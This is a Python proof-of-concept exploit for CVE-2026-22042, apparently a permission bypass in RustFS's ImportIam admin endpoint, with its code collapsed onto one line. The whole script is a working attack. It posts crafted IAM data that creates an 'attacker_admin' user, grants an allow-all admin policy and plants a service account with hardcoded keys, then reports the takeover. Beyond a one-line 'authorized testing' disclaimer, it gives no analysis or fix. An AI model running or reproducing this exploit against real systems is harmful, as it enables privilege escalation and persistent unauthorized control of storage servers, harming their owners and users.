CVE-2026-22042 RustFS ImportIam权限绕过漏洞

#!/usr/bin/env python3 """ CVE-2026-22042 RustFS ImportIam Permission Bypass PoC Note: This is a proof-of-concept demonstrating the vulnerability. Use only for authorized security testing. """ import requests import json import sys def exploit_rustfs(target_url, access_key, secret_key): """ Exploit the ImportIam permission bypass vulnerability """ # Target endpoint endpoint = f"{target_url}/api/v1/admin/import-iam" # Malicious IAM data to import malicious_iam_data = { "users": [ { "username": "attacker_admin", "password": "P@ssw0rd123!", "policy": "AdminPolicy", "groups": ["Administrators"] } ], "groups": [ { "name": "Administrators", "members": ["attacker_admin"] } ], "policies": [ { "name": "AdminPolicy", "document": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] } } ], "serviceAccounts": [ { "name": "malicious_service", "accessKey": "AKIA_NEW_KEY", "secretKey": "secret_key_123456" } ] } headers = { "Content-Type": "application/json", "X-Access-Key": access_key, "X-Secret-Key": secret_key } print(f"[*] Targeting: {target_url}") print(f"[*] Endpoint: {endpoint}") print(f"[*] Sending malicious IAM data...") try: response = requests.post(endpoint, headers=headers, json=malicious_iam_data, timeout=30) if response.status_code == 200: print("[+] SUCCESS: IAM data imported successfully!") print("[+] Attacker now has admin access to RustFS") print(f"[*] Created user: attacker_admin with AdminPolicy") print(f"[*] Created service account: malicious_service") return True else: print(f"[-] FAILED: Status code {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 cve-2026-22042.py <target_url> <access_key> <secret_key>") print("Example: python3 cve-2026-22042.py https://rustfs.example.com admin_key secret_key") sys.exit(1) target = sys.argv[1] access_key = sys.argv[2] secret_key = sys.argv[3] exploit_rustfs(target, access_key, secret_key)